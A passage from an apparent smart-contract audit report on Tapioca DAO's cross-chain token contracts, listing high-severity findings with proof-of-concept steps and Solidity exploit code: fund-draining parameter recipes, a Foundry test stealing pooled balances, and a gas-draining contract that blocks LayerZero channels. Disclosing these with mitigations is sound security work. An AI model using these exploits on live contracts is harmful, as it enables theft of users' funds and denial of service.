// tapSendData.withdrawOnAnotherChain = false so we enter else branch
if (tapSendData.withdrawOnAnotherChain) {
ISendFrom(tapSendData.tapOftAddress).sendFrom(
address(this),
tapSendData.lzDstChainId,
LzLib.addressToBytes32(from),
tapAmount,
ISendFrom.LzCallParams({
refundAddress: payable(from),
zroPaymentAddress: tapSendData.zroPaymentAddress,
adapterParams: LzLib.buildDefaultAdapterParams(
tapSendData.extraGas
)
})
);
} else {
// tapSendData.tapOftAddress is the address of the underlying erc20 token for this TOFT
// from is the address of the attacker
// tapAmount is the balance of erc20 tokens of this TOFT
IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount);
}
}
- So the attack is just simply transferring all the underlying erc20 tokens to the attacker.
The underlying ERC20 token for each TOFT can be queried through erc20() function, and the tapAmount to pass is ERC20 balance of the TOFT.
This attack is possible because the msg.sender inside the exerciseInternal is the address of the TOFT which is the owner of all the ERC20 tokens that get stolen.
Recommended Mitigation Steps
Validate that tapSendData.tapOftAddress is the address of TapOFT token either while sending the message or during the reception of the message on the remote chain.
[H-12] TOFT removeCollateral can be used to steal all the balance
Submitted by windhustler, also found by 0x73696d616f
removeCollateral -> remove message pathway can be used to steal all the balance of the TapiocaOFT and mTapiocaOFT tokens in case when their underlying tokens is native.
TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.
Proof of Concept
The attack needs to be executed by invoking the removeCollateral function from any chain to chain on which the underlying balance resides, e.g. host chain of the TOFT.
When the message is received on the remote chain, I have placed in the comments below what are the params that need to be passed to execute the attack.
function remove(bytes memory _payload) public {
(
,
,
address to,
,
ITapiocaOFT.IRemoveParams memory removeParams,
ICommonData.IWithdrawParams memory withdrawParams,
ICommonData.IApproval[] memory approvals
) = abi.decode(
_payload,
(
uint16,
address,
address,
bytes32,
ITapiocaOFT.IRemoveParams,
ICommonData.IWithdrawParams,
ICommonData.IApproval[]
)
);
// approvals can be an empty array so this is skipped
if (approvals.length > 0) {
_callApproval(approvals);
}
// removeParams.market and removeParams.share don't matter
approve(removeParams.market, removeParams.share);
// removeParams.market just needs to be deployed by the attacker and do nothing, it is enough to implement IMarket interface
IMarket(removeParams.market).removeCollateral(
to,
to,
removeParams.share
);
// withdrawParams.withdraw = true to enter the if block
if (withdrawParams.withdraw) {
// Attackers removeParams.market contract needs to have yieldBox() function and it can return any address
address ybAddress = IMarket(removeParams.market).yieldBox();
// Attackers removeParams.market needs to have collateralId() function and it can return any uint256
uint256 assetId = IMarket(removeParams.market).collateralId();
// removeParams.marketHelper is a malicious contract deployed by the attacker which is being transferred all the balance
// withdrawParams.withdrawLzFeeAmount needs to be precomputed by the attacker to match the balance of TapiocaOFT
IMagnetar(removeParams.marketHelper).withdrawToChain{
value: withdrawParams.withdrawLzFeeAmount // This is not validated on the sending side so it can be any value
}(
ybAddress,
to,
assetId,
withdrawParams.withdrawLzChainId,
LzLib.addressToBytes32(to),
IYieldBoxBase(ybAddress).toAmount(
assetId,
removeParams.share,
false
),
removeParams.share,
withdrawParams.withdrawAdapterParams,
payable(to),
withdrawParams.withdrawLzFeeAmount
);
}
}
Neither removeParams.marketHelper or withdrawParams.withdrawLzFeeAmount are validated on the sending side so the former can be the address of a malicious contract and the latter can be the TOFT’s balance of gas token.
This type of attack is possible because the msg.sender in IMagnetar(removeParams.marketHelper).withdrawToChain is the address of the TOFT contract which holds all the balances.
This is because:
- Relayer submits the message to
lzReceiveso he is themsg.sender. - Inside the
_blockingLzReceivethere is a call into its own public function so themsg.senderis the address of the contract. - Inside the
_nonBlockingLzReceivethere is delegatecall into a corresponding module which preserves themsg.senderwhich is the address of the TOFT. - Inside the module there is a call to withdrawToChain and here the
msg.senderis the address of the TOFT contract, so we can maliciously transfer all the balance of the TOFT.
Tools Used
Foundry
Recommended Mitigation Steps
It’s hard to recommend a simple fix since as I pointed out in my other issues the airdropping logic has many flaws.
One of the ways of tackling this issue is during the removeCollateral to:
- Do not allow
adapterParamsparams to be passed as bytes but rather asgasLimitandairdroppedAmount, from which you would encode eitheradapterParamsV1oradapterParamsV2. - And then on the receiving side check and send with value only the amount the user has airdropped.
0xRektora (Tapioca) confirmed and commented:
Related to https://github.com/code-423n4/2023-07-tapioca-findings/issues/1290
[H-13] TOFT triggerSendFrom can be used to steal all the balance
Submitted by windhustler
triggerSendFrom -> sendFromDestination message pathway can be used to steal all the balance of the TapiocaOFT and mTapiocaOFT` tokens in case when their underlying tokens is native gas token.
TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.
Proof of Concept
The attack flow is the following:
- Attacker calls
triggerSendFromwithairdropAdapterParamsof type airdropAdapterParamsV1 which don’t airdrop any value on the remote chain but just deliver the message. - On the other hand lzCallParams are of type
adapterParamsV2which are used to airdrop the balance from the destination chain to another chain to the attacker.
struct LzCallParams {
address payable refundAddress; // => address of the attacker
address zroPaymentAddress; // => doesn't matter
bytes adapterParams; //=> airdropAdapterParamsV2
}
- Whereby the
sendFromData.adapterParamswould be encoded in the following way:
function encodeAdapterParamsV2() public {
// https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop
uint256 gasLimit = 250_000; // something enough to deliver the message
uint256 airdroppedAmount = max airdrop cap defined at https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop. => 0.24 for ethereum, 1.32 for bsc, 681 for polygon etc.
address attacker = makeAddr("attacker"); // => address of the attacker
bytes memory adapterParams = abi.encodePacked(uint16(2), gasLimit, airdroppedAmount, attacker);
}
- When this is received on the remote inside the
sendFromDestinationISendFrom(address(this)).sendFrom{value: address(this).balance}is instructed by the maliciousISendFrom.LzCallParams memory callParamsto actually airdrop the max amount allowed by LayerZero to the attacker on thelzDstChainId. - Since there is a cap on the maximum airdrop amount this type of attack would need to be executed multiple times to drain the balance of the TOFT.
The core issue at play here is that BaseTOFT delegatecalls into the BaseTOFTOptionsModule and thus the BaseTOFT is the msg.sender for sendFrom function.
There is also another simpler attack flow possible:
- Since
sendFromDestinationpasses as value whole balance of the TapiocaOFT it is enough to specify the refundAddress in callParams as the address of the attacker. - This way the whole balance will be transferred to the _lzSend and any excess will be refunded to the
_refundAddress. - This is how layer zero works.
Tools Used
Foundry
Recommended Mitigation Steps
One of the ways of tackling this issue is during the triggerSendFrom to:
- Not allowing
airdropAdapterParamsandsendFromData.adapterParamsparams to be passed as bytes but rather asgasLimitandairdroppedAmount, from which you would encode eitheradapterParamsV1oradapterParamsV2. - And then on the receiving side check and send with value only the amount the user has airdropped.
// Only allow the airdropped amount to be used for another message
ISendFrom(address(this)).sendFrom{value: aidroppedAmount}(
from,
lzDstChainId,
LzLib.addressToBytes32(from),
amount,
callParams
);
[H-14] All assets of (m)TapiocaOFT can be stealed by depositing to strategy cross chain call with 1 amount but maximum shares possible
Submitted by 0x73696d616f
Attacker can be debited only the least possible amount (1) but send the share argument as the maximum possible value corresponding to the erc balance of (m)TapiocaOFT. This would enable the attacker to steal all the erc balance of the (m)TapiocaOFT contract.
Proof of Concept
In BaseTOFT, SendToStrategy(), has no validation and just delegate calls to sendToStrategy() function of the BaseTOFTStrategyModule.
In the mentioned module, the quantity debited from the user is the amount argument, having no validation in the corresponding share amount:
function sendToStrategy(
address _from,
address _to,
uint256 amount,
uint256 share,
uint256 assetId,
uint16 lzDstChainId,
ICommonData.ISendOptions calldata options
) external payable {
require(amount > 0, "TOFT_0");
bytes32 toAddress = LzLib.addressToBytes32(_to);
_debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount);
...
Then, a payload is sent to the destination chain in _lzSend() of type PT_YB_SEND_STRAT.
Again, in BaseTOFT, the function _nonBlockingLzReceive() handles the received message and delegate calls to the BaseTOFTStrategyModule, function strategyDeposit(). In this, function, among other things, it delegate calls to depositToYieldbox(), of the same module:
function depositToYieldbox(
uint256 _assetId,
uint256 _amount,
uint256 _share,
IERC20 _erc20,
address _from,
address _to
) public {
_amount = _share > 0
? yieldBox.toAmount(_assetId, _share, false)
: _amount;
_erc20.approve(address(yieldBox), _amount);
yieldBox.depositAsset(_assetId, _from, _to, _amount, _share);
}
The _share argument is the one the user initially provided in the source chain; however, the _amount, is computed from the yieldBox ratio, effectively overriding the specified amount in the source chain of 1. This will credit funds to the attacker from other users that bridged assets through (m)TapiocaOFT.
The following POC in Foundry demonstrates how an attacker can be debited on the source chain an amount of 1 but call depositAsset() on the destination chain with an amount of 2e18, the available in the TapiocaOFT contract.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockYieldBox is Test {
function depositAsset(
uint256 assetId,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256, uint256) {}
function toAmount(
uint256,
uint256 share,
bool
) external pure returns (uint256 amount) {
// real formula amount = share._toAmount(totalSupply[assetId], _tokenBalanceOf(assets[assetId]), roundUp);
// assume ratio is 1:1
return share;
}
}
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 internal constant PT_YB_SEND_STRAT = 770;
function test_POC_SendToStrategy_WithoutAllDebitedFrom() public {
vm.createSelectFork("https://eth.llamarpc.com");
address mockERC20_ = address(new ERC20("mockERC20", "MERC20"));
address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));
address mockYieldBox_ = address(new MockYieldBox());
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
mockERC20_,
IYieldBoxBase(mockYieldBox_),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(strategyModule_),
payable(address(3)),
payable(address(4))
);
// some user wraps 2e18 mock erc20
address user_ = makeAddr("user");
deal(mockERC20_, user_, 2e18);
vm.startPrank(user_);
ERC20(mockERC20_).approve(address(tapiocaOft_), 2e18);
tapiocaOft_.wrap(user_, user_, 2e18);
vm.stopPrank();
address attacker_ = makeAddr("attacker");
deal(attacker_, 1e18); // lz fees
address from_ = attacker_;
address to_ = attacker_;
uint256 amount_ = 1;
uint256 share_ = 2e18; // steal all available funds in (m)Tapioca (only 1 user with 2e18)
uint256 assetId_ = 1;
uint16 lzDstChainId_ = 102;
address zroPaymentAddress_ = address(0);
ICommonData.ISendOptions memory options_ = ICommonData.ISendOptions(200_000, zroPaymentAddress_);
tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));
// attacker is only debited 1 amount, but specifies 2e18 shares, a possibly much bigger corresponding amount
deal(mockERC20_, attacker_, 1);
vm.startPrank(attacker_);
ERC20(mockERC20_).approve(address(tapiocaOft_), 1);
tapiocaOft_.wrap(attacker_, attacker_, 1);
tapiocaOft_.sendToStrategy{value: 1 ether}(from_, to_, amount_, share_, assetId_, lzDstChainId_, options_);
vm.stopPrank();
bytes memory lzPayload_ = abi.encode(
PT_YB_SEND_STRAT,
bytes32(uint256(uint160(from_))),
attacker_,
amount_,
share_,
assetId_,
zroPaymentAddress_
);
// attacker was debited from 1 amount, but deposit sends an amount of 2e18
vm.expectCall(address(mockYieldBox_), 0, abi.encodeCall(MockYieldBox.depositAsset, (assetId_, address(tapiocaOft_), attacker_, 2e18, 2e18)));
vm.prank(LZ_ENDPOINT);
tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
Given that it’s impossible to fetch the YieldBox ratio in the source chain, it’s best to stick with the amount only and remove the share argument in the cross chain sendToStrategy() function call.
[H-15] Attacker can specify any receiver in USD0.flashLoan() to drain receiver balance
Submitted by mojito_auditor, also found by n1punp
The flash loan feature in USD0’s flashLoan() function allows the caller to specify the receiver address. USD0 is then minted to this address and burnt from this address plus a fee after the callback. Since there is a fee in each flash loan, an attacker can abuse this to drain the balance of the receiver because the receiver can be specified by the caller without validation.
Proof of Concept
The allowance checked that receiver approved to address(this) but not check if receiver approved to msg.sender
uint256 _allowance = allowance(address(receiver), address(this));
require(_allowance >= (amount + fee), "USDO: repay not approved");
// @audit can specify receiver, drain receiver's balance
_approve(address(receiver), address(this), _allowance - (amount + fee));
_burn(address(receiver), amount + fee);
return true;
Recommended Mitigation Steps
Consider changing the “allowance check” to be the allowance that the receiver gave to the caller instead of address(this).
[H-16] Attacker can block LayerZero channel due to variable gas cost of saving payload
Submitted by windhustler
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52
This is an issue that affects BaseUSDO, BaseTOFT, and BaseTapOFT or all the contracts which are sending and receiving LayerZero messages.
The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
Proof of Concept
I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s sendToYAndBorrow.
This function allows the user to mint/borrow USDO with some collateral that is wrapped in a TOFT and gives the option of transferring minted USDO to another chain.
The attack starts by invoking sendToYBAndBorrow which delegate calls into BaseTOFTMarketModule.
If we look at the implementation inside the BaseTOFTMarketModule nothing is validated there except for the lzPayload which has the packetType of PT_YB_SEND_SGL_BORROW.
The only validation of the message happens inside the LzApp with the configuration which was set.
What is restrained within this configuration is the payload size, which if not configured defaults to 10k bytes.
The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend implementation.
I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.
I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.
To execute the attack we need to pass the following parameters to the function mentioned above:
function executeAttack() public {
address tapiocaOFT = makeAddr("TapiocaOFT-AVAX");
tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}(
address from => // malicious user address
address to => // malicious user address
lzDstChainId => // any chain lzChainId
bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration
ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything
ICommonData.IWithdrawParams calldata withdrawParams, // can be anything
ICommonData.ISendOptions calldata options, // can be anything
ICommonData.IApproval[] calldata approvals // Elaborating on this below
)
}
ICommonData.IApproval[] calldata approvals are going to be fake data so max payload size limit is reached(10k). The target of the 1st approval in the array will be the GasDrainingContract deployed on the receiving chain and the permitBorrow = true.
contract GasDrainingContract {
mapping(uint256 => uint256) public storageVariables;
function permitBorrow(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
for (uint256 i = 0; i < 100000; i++) {
storageVariables[i] = i;
}
}
}
Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.
- Transaction is successfully received inside the
lzReceiveafter which it reaches _blockingLzReceive. -
This is the first external call and according to
EIP-150out of 1 million gas:- 63/64 or ~985k would be forwarded to the external call.
- 1/64 or ~15k will be left for the rest of the execution.
- The cost of saving a big payload into the
failedMessagesand emitting events is higher than 15k.
When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract FailedMessagesTest is Test {
mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;
event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);
function setUp() public {}
function testFMessagesGas() public {
uint16 srcChainid = 1;
bytes memory srcAddress = abi.encode(makeAddr("Alice"));
uint64 nonce = 10;
bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes
bytes memory reason = getDummyPayload(2);
uint256 gasLeft = gasleft();
_storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason);
emit log_named_uint("gas used", gasLeft - gasleft());
}
function _storeFailedMessage(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload,
bytes memory _reason
) internal virtual {
failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
}
function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
bytes memory payload = new bytes(payloadSize);
for (uint256 i = 0; i < payloadSize; i++) {
payload[i] = bytes1(uint8(65 + i));
}
return payload;
}
}
- If the payload is 9999 bytes the cost of saving it and emitting the event is 131k gas.
- Even with a smaller payload of 500 bytes the cost is 32k gas.
- If we can drain the 985k gas in the rest of the execution since storing
failedMessageswould fail the pathway would be blocked because this will fail at the level of LayerZero and result inStoredPayload. - Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for
_nonblockingLzReceivethe_executeOnDestinationis invoked for the right packet type and there we have another external call which delegatecalls into the right module.
Since it is also an external call only 63/64 gas is forwarded which is roughly:
- 970k would be forwarded to the module
- 15k reserved for the rest of the function
- This 970k gas is used for
borrow, and it would be totally drained inside our malicious GasDraining contract from above, and then the execution would continue inside theexecuteOnDestinationwhich also fails due to 15k gas not being enough, and finally, it fails inside the_blockingLzReceivedue to out of gas, resulting in blocked pathway.
Tools Used
Foundry
Recommended Mitigation Steps
_executeOnDestination storing logic is just code duplication and serves no purpose.
Instead of that you should override the _blockingLzReceive.
Create a new storage variable called gasAllocation which can be set only by the owner and change the implementation to:
(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));
While ensuring that gasleft() > gasAllocation in each and every case. This should be enforced on the sending side.
Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation needs to be big enough to cover storing max payload size.
Other occurrences
This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:
BaseTOFT
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L204
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L111
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L221
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L118
BaseUSDO
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L191
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L190
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L104
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L93
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L206
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L103
BaseTapOFT
- https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L225 Here we would need to pass
IERC20[] memory rewardTokensas an array of one award token which is our malicious token which implements theERC20andISendFrominterfaces.
Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens) there are no reverts in case the rewardToken is
invalid we can execute the gas draining attack inside the sendFrom
whereby rewardTokens[i] is our malicious contract.
[H-17] Attacker can block LayerZero channel due to missing check of minimum gas passed
Submitted by windhustler, also found by 0x73696d616f
This is an issue that affects all the contracts that inherit from NonBlockingLzApp due to incorrect overriding of the lzSend function and lack of input validation and the ability to specify whatever adapterParams you want.
The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
Proof of Concept
Layer Zero minimum gas showcase
While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params.
All the invocations of lzSend inside the TapiocaDao contracts naively assume that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want.
As a showcase, I have set up a simple contract that implements the NonBlockingLzApp and sends only 30k gas which reverts on the destination chain resulting in StoredPayload and blocking of the message pathway between the two lzApps.
The transaction below proves that if no minimum gas is enforced, an application that has the intention of using the NonBlockingApp can end up in a situation where there is a StoredPayload and the pathway is blocked.
Transaction Hashes for the example mentioned above:
- LayerZero Scan: https://layerzeroscan.com/106/address/0xe6772d0b85756d1af98ddfc61c5339e10d1b6eff/message/109/address/0x5285413ea82ac98a220dd65405c91d735f4133d8/nonce/1
- Tenderly stack trace of the sending transaction hash: https://dashboard.tenderly.co/tx/avalanche-mainnet/0xe54894bd4d19c6b12f30280082fc5eb693d445bed15bb7ae84dfaa049ab5374d/debugger?trace=0.0.1
- Tenderly stack trace of the receiving transaction hash: https://dashboard.tenderly.co/tx/polygon/0x87573c24725c938c776c98d4c12eb15f6bacc2f9818e17063f1bfb25a00ecd0c/debugger?trace=0.2.1.3.0.0.0.0
Attack scenario
The attacker calls triggerSendFrom and specifies a small amount of gas in the airdropAdapterParams(~50k gas).
The Relayer delivers the transaction with the specified gas at the destination.
The transaction is first validated through the LayerZero contracts before it reaches the lzReceive function. The Relayer will give exactly the gas which was specified through the airdropAdapterParams.
The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit} is the gas the sender has paid for.
The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive function and the message pathway is blocked, resulting in StoredPayload.
The objective of the attack is that the execution doesn’t reach the NonblockingLzApp since then the behavior of the NonBlockingLzApp would be as expected and the pathway wouldn’t be blocked,
but rather the message would be stored inside the failedMessages
Tools Used
Foundry, Tenderly, LayerZeroScan
Recommended Mitigation Steps
The minimum gas enforced to send for each and every _lzSend in the app should be enough to cover the worst-case scenario for the transaction to reach the
first try/catch which is here.
I would advise the team to do extensive testing so this min gas is enforced.
Immediate fixes:
- This is most easily fixed by overriding the
_lzSendand extracting the gas passed from adapterParams with_getGasLimitand validating that it is above some minimum threshold. - Another option is specifying the minimum gas for each and every packetType and enforcing it as such.
I would default to the first option because the issue is twofold since there is the minimum gas that is common for all the packets, but there is also the minimum gas per packet since each packet has a different payload size and data structure, and it is being differently decoded and handled.
Note: This also applies to the transaction which when received on the destination chain is supposed to send another message, this callback message should also be validated.
When it comes to the default implementations inside the OFTCoreV2 there are two packet types PT_SEND
and PT_SEND_AND_CALL and there is the available configuration of useCustomAdapterParams which can enforce the minimum gas passed. This should all be configured properly.
Other occurrences
There are many occurrences of this issue in the TapiocaDao contracts, but applying option 1 I mentioned in the mitigation steps should solve the issue for all of them:
TapiocaOFT
lzSend
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L101 - lzData.extraGas This naming is misleading it is not extraGas it is the gas that is used by the Relayer.
sendFrom
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142 - This is executed as a part of lzReceive but is a message inside a message. It is also subject to the attack above, although it goes through the PT_SEND so adequate config should solve the issue.
BaseUSDO
lzSend
sendFrom
BaseTapOFT
lzSend
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L108
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L181
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L274
sendFrom
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312
MagnetarV2
https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/MagnetarV2.sol#L268
MagnetarMarketModule
0xRektora (Tapioca) confirmed via duplicate issue 841
[H-18] multiHopSellCollateral() will fail due to call on an invalid market address causing bridged collateral to be locked up
Submitted by peakbolt
multiHopSellCollateral() allows users to leverage down by selling the TOFT collateral on another chain and then send it to host chain (Arbitrum) for repayment of USDO loan.
However, it will fail as it tries to obtain the repayableAmount on the destination chain by calling IMagnetar.getBorrowPartForAmount() on a non-existing market. That is because Singularity/BigBang markets are only deployed on the host chain.
function leverageDownInternal(
uint256 amount,
IUSDOBase.ILeverageSwapData memory swapData,
IUSDOBase.ILeverageExternalContractsData memory externalData,
IUSDOBase.ILeverageLZData memory lzData,
address leverageFor
) public payable {
_unwrap(address(this), amount);
//swap to USDO
IERC20(erc20).approve(externalData.swapper, amount);
ISwapper.SwapData memory _swapperData = ISwapper(externalData.swapper)
.buildSwapData(erc20, swapData.tokenOut, amount, 0, false, false);
(uint256 amountOut, ) = ISwapper(externalData.swapper).swap(
_swapperData,
swapData.amountOutMin,
address(this),
swapData.data
);
//@audit this call will fail as there is no market in destination chain
//repay
uint256 repayableAmount = IMagnetar(externalData.magnetar)
.getBorrowPartForAmount(externalData.srcMarket, amountOut);
Impact
The issue will prevent users from using multiHopSellCollateral() to leverage down.
Furthermore the failure of the cross-chain transaction will cause the bridged collateral to be locked in the TOFT contract on a non-host chain as the refund mechanism will also revert and retryMessage() will continue to fail as this is a permanent error.
Proof of Concept
Consider the following scenario where a user leverage down by selling the collateral on Ethereum (a non-host chain).
- User first triggers
Singularity.multiHopSellCollateral()on host chain Arbitrum. - That will call
SGLLeverage.multiHopSellCollateral(), which will conduct a cross chain message viaITapiocaOFT(address(collateral)).sendForLeverage()to bridge over and sell the collateral on Ethereum mainnet. - The collateral TOFT contract on Ethereum mainnet will receive the bridged collateral and cross-chain message via
_nonBlockingLzReceive()and thenBaseTOFTLeverageModule.leverageDown(). - The execution continues with
BaseTOFTLeverageModule.leverageDownInternal(), but it will revert as it attempt to callgetBorrowPartForAmount()for a non-existing market in Ethereum. - The bridgex collateral will be locked in the TOFT contract on Ethereum mainnet as the refund mechanism will also revert and
retryMessage()will continue to fail as this is a permanent error.
Recommended Mitigation Steps
Obtain the repayable amount on the Arbitrum (host chain) where the BigBang/Singularity markets are deployed.
[H-19] twTAP.participate() can be permanently frozen due to lack of access control on host-chain-only operations
Submitted by peakbolt
twTAP is a omnichain NFT (ONFT721) that will be deployed on all supported chains.
However, there are no access control for operations meant for execution on the host chain only, such as participate(), which mints twTAP.
The implication of not restricting participate() to host chain is that an attacker can lock TAP and participate on other chain to mint twTAP with a tokenId that does not exist on the host chain yet. The attacker can then send that twTAP to the host chain using the inherited sendFrom(), to permanently freeze the twTAP contract as participate() will fail when attempting to mint an existing tokenId.
It is important to restrict minting to the host chain so that mintedTWTap (which keeps track of last minted tokenId) is only incremented at one chain, to prevent duplicate tokenId. That is because the twTAP contracts on each chain have their own mintedTWTap variable and there is no mechanism to sync them.
Detailed Explanation
In TwTAP, there are no modifiers or checks to ensure participte() can only be called on the host chain. So we can use it to mint a twTAP on a non-host chain.
https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/governance/twTAP.sol#L252-L256
function participate(
address _participant,
uint256 _amount,
uint256 _duration
) external returns (uint256 tokenId) {
require(_duration >= EPOCH_DURATION, "twTAP: Lock not a week");
The tokenId to be minted is determined by mintedTWTap, which is not synchronized across the chains.
function participate(
...
//@audit tokenId to mint is obtained from `mintedTWTap`
tokenId = ++mintedTWTap;
_safeMint(_participant, tokenId);
Suppose on host chain, the last minted tokenId is N. From a non-host chain, we can use sendFrom() to send over a twTAP with tokenId N+1 and mint a new twTAP with the same tokenId (see _creditTo() below). This will not increment mintedTWTap on the host chain, causing a de-sync.
<br>https:
function _creditTo(uint16, address _toAddress, uint _tokenId) internal virtual override {
require(!_exists(_tokenId) || (_exists(_tokenId) && ERC721.ownerOf(_tokenId) == address(this)));
if (!_exists(_tokenId)) {
//@audit transfering token N+1 will mint it as it doesnt exists. this will not increment mintedTwTap
_safeMint(_toAddress, _tokenId);
} else {
_transfer(address(this), _toAddress, _tokenId);
}
}
On the host chain, participate() will always revert when it tries to mint the next twTAP with tokenId N+1, as it now exists on the host chain due to sendFrom().
function participate(
...
tokenId = ++mintedTWTap;
//@audit this will always revert when tokenId already exists
_safeMint(_participant, tokenId);
Impact
An attacker will be able to permanent freeze the twTAP.participate(). This will prevent TAP holders from participating in the governance and from claiming rewards, causing loss of rewards to users.
Proof of Concept
Consider the following scenario,
- Suppose we start with
twTAP.mintedTwTap == 0on all the chains, so next tokenId will be1. - Attacker
participate()with 1 TAP and minttwTAPon a non-host chain withtokenId1. - Attacker sends the minted
twTAPacross to host chain usingtwTAP.sendFrom()to permanently freeze thetwTAPcontract. - On the host chain, the
